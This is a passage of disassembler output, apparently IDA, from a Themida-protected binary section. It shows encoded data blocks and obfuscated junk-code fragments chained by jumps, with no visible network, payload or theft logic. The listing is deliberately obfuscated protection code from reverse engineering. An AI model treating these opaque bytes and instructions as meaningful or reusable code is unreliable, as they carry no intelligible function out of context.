		dd 2C895C24h, 2BD24h, 0C6810000h, 7E4C662Eh, 0EE81EE01h
		dd 7E4C662Eh, 0E9242C8Bh, 0FFFFE995h, 8124348Bh, 4C4h
		dd 0D3015D00h, 4EC81h, 14890000h, 51C68824h, 0B9h, 9C18100h
		dd 127F418h, 9E981D9h, 8827F418h, 0E95A5931h, 3A00h, 662414F6h
		dd 0ECF2805Ah, 5556E9h,	719F3500h, 0D8F7359Fh, 503E8C1h
		dd 0E209AD15h, 0E958C629h, 2A73h, 116868h, 6787E900h, 0F7810000h
		dd 0F1D2566h, 0FFC6BBE9h, 4C381FFh, 81000000h, 4EBh, 0EB36E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B20A:				; CODE XREF: Themida_:00550C0Cj
		add	ecx, 5FC34A02h
		pop	edx
		sub	[esp+4], ecx
		pop	ecx
		pop	eax
		jmp	loc_54AA84
; ---------------------------------------------------------------------------

loc_54B21C:				; CODE XREF: Themida_:005519A5j
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_54ADB0
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24348900h, 6E15E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B235:				; CODE XREF: Themida_:0054DA25j
		mov	ebp, [esp]
		add	esp, 4
		push	450Dh
		jmp	loc_54AC85
; ---------------------------------------------------------------------------

loc_54B245:				; CODE XREF: Themida_:0054E201j
		mov	[esp], eax
		mov	eax, 4
		sub	ebx, 1D2C0F23h
		add	ebx, eax
		add	ebx, 1D2C0F23h
		mov	eax, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_54D849
		push	dword ptr [edi+1Ch]
		push	ebx
		mov	ebx, 72C2507Fh
		sub	[esp+4], ebx
		mov	ebx, [esp]
		jmp	loc_54A15A
; ---------------------------------------------------------------------------
		db 0BDh, 0DBh, 0B0h
		dd 0EA29CF65h, 0E9D0015Dh, 2A6Ah
; ---------------------------------------------------------------------------

loc_54B294:				; CODE XREF: Themida_:00550029j
		push	6BC2h
		mov	[esp], ebx
		mov	ebx, 6DF92125h
		mov	edx, ebx
		pop	ebx
		push	6DF92124h
		jmp	loc_5503CB
; ---------------------------------------------------------------------------

loc_54B2AE:				; CODE XREF: Themida_:0054BFBDj
		mov	ebx, edi
		jmp	loc_547E33
; ---------------------------------------------------------------------------
aXsU		db 'XéÙU',0
		dw 5000h
		dd 613294B8h, 0B7792D3Bh, 0AAE9E10Eh, 5B000044h, 0BFB35351h
		dd 88E5EB80h, 5EE95BD9h, 68000057h, 3D97h, 68241C89h, 4075h
		dd 575DE9h, 243C3100h, 0FFBC8BE9h, 2434FFFFh, 4C4815Eh
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54D31C
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0E9h
		dd 5361A16Eh, 0FFE314E9h, 242C8BFFh, 5104C483h,	90234EB9h
		dd 0BE56534Ch, 2ACF2335h, 0C15EF389h, 0C38106E3h, 4D724AEDh
		dd 6FE9D931h, 8100000Fh, 210828CFh, 0F7814F2Bh,	1C311817h
		dd 515FF801h, 615EE9h, 0DEF74600h, 122FE9h, 7B89BF00h
		dd 2DE97A80h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B367:				; CODE XREF: Themida_:0054AF61j
		or	eax, 6AA66981h
		jmp	loc_54D05C
; ---------------------------------------------------------------------------

loc_54B371:				; CODE XREF: Themida_:0054D1B2j
		mov	edi, 8F01E23h
		add	edi, 1
		sub	edi, 1
		jmp	loc_54C3FC
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 81242C8Bh, 4C4h, 0ACACE900h,	0FA01FFFFh, 31A7C281h
		dd 515F1A67h, 4B9h, 0C5BFE900h,	248BFFFFh, 4C38124h, 0E9000000h
		dd 5164h, 0F7EE874Eh, 8B5556D5h, 0C4812434h, 4,	0FFFA20E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B3C9:				; CODE XREF: Themida_:0054F456j
		mov	[esp], edx
		mov	edx, 0FFFFFFFFh
		jmp	loc_549972
; ---------------------------------------------------------------------------
		dw 71B9h
		dd 810FF64Ch, 0CD095BF1h, 7BE18143h, 813D846Fh,	0CB1B44E1h
		dd 3C87514Dh, 87D7F724h, 5359243Ch, 8572D3BBh, 62E94B6Ah
		dd 0C1000049h, 0C58105E5h, 0FFFFFFFFh, 0FFF75BE9h, 0ED8166FFh
		dd 31661D75h, 66505DEFh, 8966F889h, 34FF58C1h, 0C4835F24h
		dd 66536604h, 6627E8BBh, 69E9D921h, 4A00003Ch, 0DFB6C281h
		dd 0A6E98505h, 59000016h, 4C481h, 68570000h, 51B3h, 0E9242489h
		dd 4CAFh, 89242C89h, 4EC83E5h, 51243489h, 0DE264DB9h, 0C5F1814Dh
		dd 81527B3Bh, 0A51D8CF1h, 59CE891Fh, 4605ED81h,	7FE94181h
		dd 0FE000005h, 8EC480CCh, 8005E4C0h, 0DCF696F4h, 286CEC80h
		dd 3142E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B49A:				; CODE XREF: Themida_:0054887Bj
		mov	[esp], ebx
		push	edx
		mov	edx, 61652A93h
		sub	edx, 20E779CFh
		jmp	loc_54B829
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 686600B6h, 89663607h, 68E92404h, 80FFFFCCh, 0EEC0EDE6h
		dd 81E95008h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B4CB:				; CODE XREF: Themida_:00546B07j
		shr	edx, 1
		cmp	eax, edx
		jmp	loc_54FE50
; ---------------------------------------------------------------------------

loc_54B4D4:				; CODE XREF: Themida_:0054D393j
		mov	[esp], ebx
		mov	ebx, ebp
		push	ebx
		xor	dword ptr [esp], 73633CF7h
		pop	edx
		xor	edx, 73633CF7h
		pop	ebx
		mov	ebp, [esp]
		jmp	loc_551230
; ---------------------------------------------------------------------------
		db 32h,	1Ch, 24h
		dd 52241C30h, 5266DE88h, 12454F6h, 64CBE9h, 0AB34E900h
		dd 0C481FFFFh, 4, 0CA1DE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B516:				; CODE XREF: Themida_:00548922j
		sub	al, bh
		pop	bx
		mov	bx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_551726
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 63E90000h, 0BB000010h, 642D6315h, 2E76E9h, 3BC18000h
		dd 59CF28h, 0C2805BFAh,	5AD70038h, 64E9F828h, 66FFFFFDh
		dd 6824048Bh, 6964h, 0E9243489h, 1783h
; ---------------------------------------------------------------------------

loc_54B578:				; CODE XREF: Themida_:005480A5j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_551222
; ---------------------------------------------------------------------------
		db 5Bh,	29h, 0F8h
		dd 370EE95Fh, 14F70000h, 0ACE95E24h, 81FFFFBFh,	0E0080DC3h
		dd 81F3015Dh, 0E0080DEBh, 0EC815E5Dh, 4, 0E9243C89h, 0FFFFE2AAh
		dd 5A66D028h, 20DFE9h, 4E9C100h, 0FFC680E9h, 220468FFh
		dd 8BE94DB7h, 66000010h, 0E924048Bh, 0FFFFC0EDh
; ---------------------------------------------------------------------------

loc_54B5D4:				; CODE XREF: Themida_:0054ED93j
		shl	edx, 8
		jmp	loc_54FAA2
; ---------------------------------------------------------------------------

loc_54B5DC:				; CODE XREF: Themida_:00550B04j
		mov	[esp], edi
		mov	edi, 9584000h
		xor	ebx, edi
		pop	edi
		and	eax, ebx
		pop	ebx
		shr	eax, 0Eh
		xor	eax, ecx
		push	1C3Eh
		mov	[esp], eax
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5519A2
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 4D892255h, 38D1C781h, 52E9401Dh, 81000026h, 22972404h
		dd 0F96870A9h, 0E9000035h, 1B1Fh, 5D2434FFh, 3304C483h
		dd 4312404h, 24043324h,	2424D35Ch, 0AA00E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B63E:				; CODE XREF: Themida_:00547E56j
		push	edi
		mov	edi, 502F22DEh
		xor	ebp, edi
		pop	edi
		not	ebp
		sub	ebp, 0D5A7DC42h
		mov	ebx, ebp
		jmp	loc_551D85
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 41BD4D93h, 927DEF35h, 331C355Ah, 8FE96976h, 86FFFFC1h
		dd 66D3F6D8h, 4DCEE952h, 5660000h, 8B664F59h, 8950241Ch
		dd 405E0h, 0A6E90000h, 81000002h, 0BC0DD5E1h, 3D72E942h
		dd 0E7890000h, 4C781h, 0C7830000h, 243C3304h, 33243C31h
		dd 248B243Ch, 4E336824h, 2C890000h, 38685124h, 8900006Ah
		dd 4812424h, 424h, 240C8B00h, 4C481h, 0C1810000h, 4, 4E981h
		dd 0C870000h, 1C895C24h, 588C6824h, 0E95B5072h,	0FFFFB58Eh
		dd 5024148Bh, 2DAE9h, 0FF575E00h, 5F042474h, 5C24048Fh
		dd 24048966h, 0FFA935E9h, 0BAB951FFh, 530D216Ah, 3B6B4FBBh
		dd 4EE3810Ch, 0E919645Ch, 0FFFFE602h, 0FF2434FFh, 0C8B2434h
		dd 0BCE7E924h, 5450FFFFh, 4EC8358h, 51242C89h, 0CFDE9h
		dd 6AE9AC00h, 0B6000064h, 0BEE9514Ch
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B74B:				; CODE XREF: Themida_:0054AA9Dj
		push	edi
		jmp	loc_54997E
; ---------------------------------------------------------------------------

loc_54B751:				; CODE XREF: Themida_:0054B7B1j
		mov	edx, 0F214BAEDh
		xor	eax, edx
		pop	edx
		sub	edx, eax
		jmp	loc_548B66
; ---------------------------------------------------------------------------
		dd 2BBh, 1953E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B76A:				; CODE XREF: Themida_:0054992Fj
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54E63B
; ---------------------------------------------------------------------------
		dd 68240C89h, 7634h, 0B7241C89h, 42EF807Ch, 0E780CFFEh
		dd 0BAEF807Fh, 1C8BF988h, 4C48124h, 80000000h, 0C5E966C9h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B7AB:				; CODE XREF: Themida_:005507D0j
		mov	eax, 0FAA31CBh
		push	edx
		jmp	loc_54B751
; ---------------------------------------------------------------------------
		dw 48BEh
		dd 0E911A552h, 1DD6h, 393D68h, 0A948E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B7CA:				; CODE XREF: Themida_:0054D02Fj
		push	edi
		mov	edi, 4
		jmp	loc_54EF7B
; ---------------------------------------------------------------------------

loc_54B7D5:				; CODE XREF: Themida_:00547D72j
		add	edi, 4
		add	edi, 4
		jmp	loc_54EDC3
; ---------------------------------------------------------------------------
		db 0BEh
		dd 791D3980h, 98E9F001h, 66FFFFC3h, 5524048Bh, 13DBE954h
		dd 38BA0000h, 81000000h, 846DCDC2h, 27F6E903h, 8F580000h
		dd 805C2404h, 0D828BCC3h, 8B2434FFh, 0C483241Ch, 4C48104h
		dd 51000000h, 54D2E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B829:				; CODE XREF: Themida_:0054B4A9j
		add	edx, 1
		sub	edx, 0B233628h
		sub	edx, 21161F31h
		not	edx
		jmp	loc_54D9A0
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 0FFFFFFFFh, 36DC68h,	241C8900h, 0A0E9E389h, 80FFFFD1h
		dd 0F68086E6h, 734568D3h, 1C890000h, 0DC76E924h, 0C768FFFFh
		dd 89000075h, 89562404h, 4C681E6h, 0E9000000h, 1135h
; ---------------------------------------------------------------------------

loc_54B880:				; CODE XREF: Themida_:005511C7j
		mov	esi, 796B3FF8h
		jmp	loc_550C22
; ---------------------------------------------------------------------------

loc_54B88A:				; CODE XREF: Themida_:0054B92Cj
		mov	[esp], edi
		mov	edi, 100h
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_54B002
; ---------------------------------------------------------------------------

loc_54B8A0:				; CODE XREF: Themida_:0054A74Cj
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_547B2A
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8BE92C77h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B8B3:				; CODE XREF: Themida_:0054CD72j
		add	edi, 4
		push	ebx
		jmp	loc_551CA8
; ---------------------------------------------------------------------------
aZh		db ',¾Zh{|',0
		dw 8900h
		dd 5052241Ch, 0E6882FB4h, 5A27E958h, 34FF0000h,	24048B24h
		dd 8304C483h, 57E904C4h, 59FFFFA7h, 0FFD6B7E9h,	5557ADFFh
		dd 0FFE1C6E9h, 240489FFh, 42474FFh, 24048F58h, 630AE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B906:				; CODE XREF: Themida_:00551456j
		mov	[esp], ebx
		push	53F3h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54B88A
; ---------------------------------------------------------------------------
		dd offset dword_4CE72C+22Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B937:				; CODE XREF: Themida_:00548E09j
		pop	esp
		jmp	loc_550E91
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHb_0		db '$hB',9,0
		align 2
		dw 2C89h
		dd 81E58924h, 4ECh, 0F06CE900h,	0C301FFFFh, 20E4EB81h
		dd 0E9587350h, 0FFFFB912h
; ---------------------------------------------------------------------------

loc_54B964:				; CODE XREF: Themida_:0054863Cj
		shr	esi, 3
		dec	esi
		jmp	loc_5467E8
; ---------------------------------------------------------------------------

loc_54B96D:				; CODE XREF: Themida_:00549AB6j
		push	6C22h
		mov	[esp], edx
		mov	dh, 75h
		jmp	loc_54EC81
; ---------------------------------------------------------------------------
		dd 4E95158h, 0BEFFFFE9h, 2, 0F564222Dh,	5F0010Fh, 0FF56422h
		dd 2404875Eh, 3C05665Ch, 0B058E96Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B9A2:				; CODE XREF: Themida_:00549200j
		add	esp, 4
		add	esp, 4
		push	edi
		mov	edi, 5E0A607Dh
		jmp	loc_54902B
; ---------------------------------------------------------------------------

loc_54B9B6:				; CODE XREF: Themida_:0054C70Dj
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_54C8B6
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 0FEE90000h, 2DFFFFEDh, 1C5A52A0h, 158C389h
		dd 0E9505BDDh, 0FFFFC57Bh, 2C8BEA01h, 4C48124h,	81000000h
		dd 2C2h, 1B80E900h, 0F5010000h,	4605C581h, 835E4181h, 9EE904ECh
		dd 9FFFFC5h, 0F1815FF9h, 787E69FBh, 0FDE9C889h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BA23:				; CODE XREF: Themida_:0054E756j
		push	ebp
		mov	ebp, 539540C7h
		mov	ecx, 7DE9BDDDh
		sub	ecx, ebp
		pop	ebp
		jmp	loc_54AFE2
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 6602EC83h,	68241C89h, 75D8h, 0B2241489h, 0E9D2B356h
		dd 0FFFFA783h, 4BB53h, 0EA810000h, 0D8D06ACh, 5157DA01h
		dd 22181EB9h, 4EC832Ah,	0E9243C89h, 1ABBh
; ---------------------------------------------------------------------------

loc_54BA74:				; CODE XREF: Themida_:00549737j
		xor	esi, ebp
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_54AEEA
; ---------------------------------------------------------------------------

loc_54BA85:				; CODE XREF: Themida_:0054CBF3j
		mov	eax, [esp]
		jmp	loc_5518A9
; ---------------------------------------------------------------------------
		db 5Fh,	51h, 89h
		dd 0B271E9E1h, 6BB9FFFFh, 8173DF51h, 8F504FF1h,	59CF0951h
		dd 0FFB5C1E9h, 80DDF6FFh, 0EA00FCEDh, 0FFD03059h, 535A2434h
		dd 67F2E9h, 0EAE95800h,	8900002Ah, 0A0E9241Ch, 4300005Bh
		dd 6854E9h, 0B9515200h,	56061872h, 1870F181h, 0CA895606h
		dd 83240C8Bh, 0D00104C4h, 58BBE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BAEE:				; CODE XREF: Themida_:0054E53Dj
		mov	ebp, 2DCC38CFh
		jmp	loc_54DFA9
; ---------------------------------------------------------------------------
		dd 8B243487h, 0D4E92424h, 0C1FFFFEEh, 0E95308E0h, 3D91h
		dd 81D830ACh, 4ECh, 240C8900h, 7F3168h,	0EF4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BB22:				; CODE XREF: Themida_:0054B100j
		add	edx, 51F60C8Ah
		push	eax
		mov	eax, 746E4CC6h
		sub	edx, 137731FDh
		sub	edx, eax
		add	edx, 137731FDh
		pop	eax
		neg	edx
		xor	edx, 24622F8Ah
		push	ebx
		mov	ebx, 3A63374Dh
		or	ebx, 4B8951B7h
		jmp	loc_54FF08
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 3FF37669h, 0E7C1D7F7h, 4EEC6808h, 2C890000h,	5CA5E924h
		dd 3CB80000h, 0E939B10Fh, 0FFFFF051h, 5D05D001h, 5A3BE964h
		dd 2474FF50h, 48F5804h,	24248B24h, 240C8B66h, 8904EC83h
		dd 8B542404h, 0C4832404h, 40504h, 8B680000h, 8900007Dh
		dd 7968242Ch, 8900003Ch, 0B868241Ch, 5B63D178h,	0F381DBF7h
		dd 9C2E874Ah, 15BDD89h,	242C8BE8h, 4C481h, 67680000h, 0E900004Bh
		dd 0FFFFFD1Dh, 4C181h, 0E9680000h, 8900004Bh, 0EABD242Ch
		dd 5305D214h, 0A31843BBh, 5BDD3104h, 0EDD1DDF7h, 79A9F581h
		dd 0E9817F47h, 57091424h, 5AB6E981h, 0C181530Bh, 522A3DC5h
		dd 0EC83E901h, 24348904h, 796624BEh, 0E1F68133h, 2961535Bh
		dd 0C1815EF1h, 530B5AB6h, 1424C181h, 875D5709h,	665C240Ch
		dd 9C240401h, 0FFA3FDE9h, 88CE88FFh, 805B66D9h,	38E98AE9h
		dd 81FFFFCCh, 0AE46E4C5h, 2C5DE94Fh, 0C4810000h, 4, 5C241487h
		dd 582434FFh, 216568h, 24348900h, 15D68h, 54436800h, 24890000h
		dd 24048124h, 4, 5124048Fh, 4B9h, 244C0100h, 0E95E5904h
		dd 1D72h, 19E968h, 24148900h, 30B668h, 24048900h, 0F553B2B8h
		dd 534CBA3Dh, 0C2313DF5h, 582434FFh, 4C481h, 81E90000h
		dd 5E000020h, 34FFD021h, 8AE95A24h, 28FFFFE7h, 0BBE95AD3h
		dd 0E9000065h, 0FFFFA362h, 0C281E289h, 4, 4EA81h, 14870000h
		dd 34895C24h, 535E5424h, 0B17777BBh, 4E3C145h, 0C83EB81h
		dd 0E9562F7Fh, 0FFFFC1D4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_550053
; ---------------------------------------------------------------------------
		dd 42C5C781h, 0F9891C61h, 78CE9h, 81C60100h, 5D3C0BEEh
		dd 57EE8134h, 507BD24Ah, 0CF8AE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BD32:				; CODE XREF: Themida_:0054C18Fj
		shl	dl, 4
		shr	dl, 8
		add	dl, 0FFh
		jmp	loc_54F3A2
; ---------------------------------------------------------------------------
aIcsrc		db '‰æéàC',0
		db 0
; ---------------------------------------------------------------------------

loc_54BD47:				; CODE XREF: Themida_:0054BED9j
		sub	edi, 7083194h
		inc	edi
		push	eax
		mov	eax, 1FDF354Ch
		shl	eax, 4
		sub	eax, 98643C9Fh
		and	edi, eax
		jmp	loc_551AFC
; ---------------------------------------------------------------------------
		db 2Ch
		dd 4B70475h, 0A2F1E9D3h, 0C481FFFFh, 4,	0A5685053h, 0E91C5A52h
		dd 0FFFFB94Fh, 81B67FB7h, 0E95BFE28h, 5DF2h, 5DEB895Dh
		dd 4245C01h, 0D505E95Bh, 42DFFFFh, 5732216h, 4A715D8Dh
		dd 4DE5E9h, 0C5E95000h,	0C00003Eh, 2C8A24A2h, 0E9C20063h
		dd 0FFFFFBC0h, 0C021CA80h, 0FA8605EAh, 0FA86DFF6h, 0F1E95266h
		dd 0BFFFFFF3h, 0D4ED8041h, 15EF701h, 0EB835FFBh, 74FF5304h
		dd 0CAE90424h, 8100001Bh, 8173E4F7h, 0D2F7813Ah, 0C1636E13h
		dd 0CF8106EFh, 777157B0h, 655BE94Fh, 0C1010000h, 240C8758h
		dd 3124248Bh, 0E99C2404h, 0FFFFA22Ah, 0DD88F388h, 0FFC5A1E9h
		dd 4C483FFh, 4BE56h, 0F7010000h, 0FFF04DE9h, 243C8BFFh
		dd 8304C483h, 0C3304C1h, 240C3124h, 8B240C33h, 0E9552424h
		dd 2F05h, 290DE957h, 34890000h,	499BE24h, 0EE81066Ah, 0F272FAACh
		dd 2692E9h, 48B6600h, 0EC835724h, 24248904h, 4240481h
		dd 5F000000h, 7C8668h, 42C3E900h, 1C8B0000h, 0BAE95724h
		dd 81FFFFBFh, 8A4C77EBh, 0D84BE912h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BE92:				; CODE XREF: Themida_:005518EFj
		sub	ebp, 3024145Dh
		add	ebp, edx
		add	ebp, 3024145Dh
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_54CD8C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5520E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BEBA:				; CODE XREF: Themida_:0055139Aj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54FA46
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFA175E9h, 0E95A66FFh, 0FFFFAB0Ah
; ---------------------------------------------------------------------------

loc_54BED0:				; CODE XREF: Themida_:0054D622j
		push	edi
		mov	edi, 1E37A1Dh
		shl	edi, 4
		jmp	loc_54BD47
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 4C5h, 4EC8100h, 89000000h, 0B850243Ch, 519943C4h, 9943C0BFh
		dd 58C73151h, 335FFD01h, 2C31242Ch, 0E3DBE924h,	0DE01FFFFh
		dd 3088EE81h, 0EE8157B4h, 4D760176h, 2698EE81h,	0C681264Dh
		dd 44BA7C1Ah, 5B2434FFh, 20C0E9h, 78BE5600h, 81529E04h
		dd 0BC127CF6h, 5EF00121h, 81243C8Bh, 4C4h, 10AA0500h, 895203E9h
		dd 4C281E2h, 83000000h,	148704EAh, 34FDE924h, 0B0BD0000h
		dd 530CC425h, 6A5BD3BBh, 0BDC38145h, 81124F5Ah,	0A45465E3h
		dd 0FF0DE917h, 51ADFFFFh, 1308E9h, 30C38100h, 9BDADC8h
		dd 0DFF75BDFh, 0D40BF781h, 0EA81A400h, 1A6731A7h, 0FFF3F5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BF9D:				; CODE XREF: Themida_:005518A4j
		mov	esi, esp
		jmp	loc_54EA1F
; ---------------------------------------------------------------------------

loc_54BFA4:				; CODE XREF: Themida_:00548C35j
		and	edi, 37AF1448h
		and	edi, 255A789Dh
		and	edi, 4C716B4Ah
		dec	edi
		xor	edi, 6BBBFC83h
		jmp	loc_54B2AE
; ---------------------------------------------------------------------------
aIcsu		db '‰æéã',0Bh,0
		dd 0C8B6600h, 0A878E924h, 4FBAFFFFh, 0E97AFA20h, 0FFFFF45Bh
; ---------------------------------------------------------------------------

loc_54BFDC:				; CODE XREF: Themida_:0054A95Aj
		mov	ecx, esp
		push	eax
		jmp	loc_547F9E
; ---------------------------------------------------------------------------
		dd 81DFF747h, 0B95039CFh, 3E7C139h, 4159E9h
		db 0
; ---------------------------------------------------------------------------

loc_54BFF5:				; CODE XREF: Themida_:00548634j
		and	bl, dl
		pop	edx
		jmp	loc_5480AA
; ---------------------------------------------------------------------------

loc_54BFFD:				; CODE XREF: Themida_:00547988j
		xor	esi, [esp]
		mov	esp, [esp]

loc_54C003:				; CODE XREF: Themida_:00548078j
		push	1514h
		mov	[esp], ebx
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_548F15
; ---------------------------------------------------------------------------

loc_54C016:				; CODE XREF: Themida_:00546B4Cj
		and	eax, ecx
		pop	ecx
		push	ebx
		push	ebp
		push	7A77017Fh
		jmp	loc_547E55
; ---------------------------------------------------------------------------

loc_54C025:				; CODE XREF: Themida_:005514AEj
		pop	ebx
		push	ebp
		push	ebx
		jmp	loc_548C28
; ---------------------------------------------------------------------------

loc_54C02D:				; CODE XREF: Themida_:00548F1Bj
		inc	ebp
		push	edx
		jmp	loc_5501B7
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 0BDBD5500h,	81433101h, 0E8582BEDh
		dd 0C1D5F709h, 0ED8105E5h, 981D8E25h, 28E9E931h, 0FFFFFFE7h
		dd 0C8B2434h, 4C48124h,	81000000h, 4C4h, 0E3895300h, 4C381h
		dd 0B3E90000h, 66000054h, 68A0EF81h, 0DAEF8166h, 1C8B663Ah
		dd 2C48324h, 19F78166h,	0A416E97Dh, 34FFFFFFh, 54575824h
		dd 81243C8Bh, 4C4h, 0BE565500h,	66D35702h, 2B85CE81h, 0DEF731D4h
		dd 0BF57D6F7h, 67F40634h, 32EEE9h, 23166800h, 33E90000h
		dd 8100005Eh, 4C1h, 4E98300h, 0E9240C87h, 3CF8h, 0E95EF501h
		dd 0FFFFD6D3h
; ---------------------------------------------------------------------------

loc_54C0E4:				; CODE XREF: Themida_:00551856j
		neg	edi
		sub	edi, 6A3B2167h
		jmp	loc_54FC39
; ---------------------------------------------------------------------------
aIFysz?		db 'ˆÎfYéz?',0
		align 2

loc_54C0FA:				; CODE XREF: Themida_:0055040Cj
		push	eax
		mov	eax, 36146543h
		mov	ebp, 36146547h
		xor	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_547022
; ---------------------------------------------------------------------------

loc_54C11A:				; CODE XREF: Themida_:0054F8D9j
		pop	edx
		shl	edx, 4
		jmp	loc_5520BE
; ---------------------------------------------------------------------------
		db 56h
		dd 0FFEF14E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C129:				; CODE XREF: Themida_:0054D162j
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	345Ah
		jmp	loc_54F426
; ---------------------------------------------------------------------------

loc_54C13F:				; CODE XREF: Themida_:0054EDBEj
		sub	ebx, 71F328D9h
		jmp	loc_54F825
; ---------------------------------------------------------------------------
a0Sra		db '0ØéRA',0
		dd 0B6E95300h, 81FFFFCAh, 5B8C2404h, 48B6483h, 4C48324h
		dd 0E9E78957h, 0FFFFDAF1h, 9D1C77FFh, 1CD35966h, 0C3E99C24h
		dd 66FFFF9Eh, 68240C8Bh, 343Ch,	0E9241489h, 0FFFFAF2Fh
; ---------------------------------------------------------------------------

loc_54C18C:				; CODE XREF: Themida_:0055006Fj
		push	edx
		mov	dl, 0A6h
		jmp	loc_54BD32
; ---------------------------------------------------------------------------
		dd 9147EF81h, 0FB8968BDh, 0E9F3015Fh, 0FFFFECBDh, 76B168h
		dd 242C8900h, 741B87BDh, 74C58136h, 45000D7Ch, 4C94F581h
		dd 0D5682F28h, 8900003Ch, 22E9243Ch, 53FFFFB5h,	0FFBC12E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C1D1:				; CODE XREF: Themida_:00546479j
		push	3FBC502Fh
		pop	ebx
		jmp	loc_54C375
; ---------------------------------------------------------------------------

loc_54C1DC:				; CODE XREF: Themida_:00552304j
		or	edi, 2EDB5995h
		push	ecx
		jmp	loc_551F53
; ---------------------------------------------------------------------------
		dd 0C89665Ch, 0B60F6624h, 0D017E9C8h, 5266FFFFh, 0D788D8B2h
		dd 0F9285A66h, 59C8285Bh, 5166D828h, 0C80029B1h, 52665966h
		dd 3E7EE9h, 0E5C38000h,	0FFBFC4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C21D:				; CODE XREF: Themida_:005495C4j
		sub	ebx, 0E5CD111Eh
		mov	ecx, ebx
		pop	ebx
		push	edi
		jmp	loc_5460CE
; ---------------------------------------------------------------------------
		dd 2B9h, 0E9535000h, 0FFFFF30Fh, 6824048Bh, 313Eh, 0E9240C89h
		dd 0FFFFC886h
; ---------------------------------------------------------------------------

loc_54C248:				; CODE XREF: Themida_:005508F6j
		mov	ecx, 4
		sub	edx, 67F1671Dh
		sub	edx, ecx
		jmp	loc_549EA5
; ---------------------------------------------------------------------------

loc_54C25A:				; CODE XREF: Themida_:00550A87j
		push	esi
		push	esp
		mov	esi, [esp]
		jmp	loc_5522F5
; ---------------------------------------------------------------------------

loc_54C264:				; CODE XREF: Themida_:00550B69j
		mov	esi, 376C2CE9h
		add	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		pop	edx
		and	ecx, esi
		mov	esi, [esp]
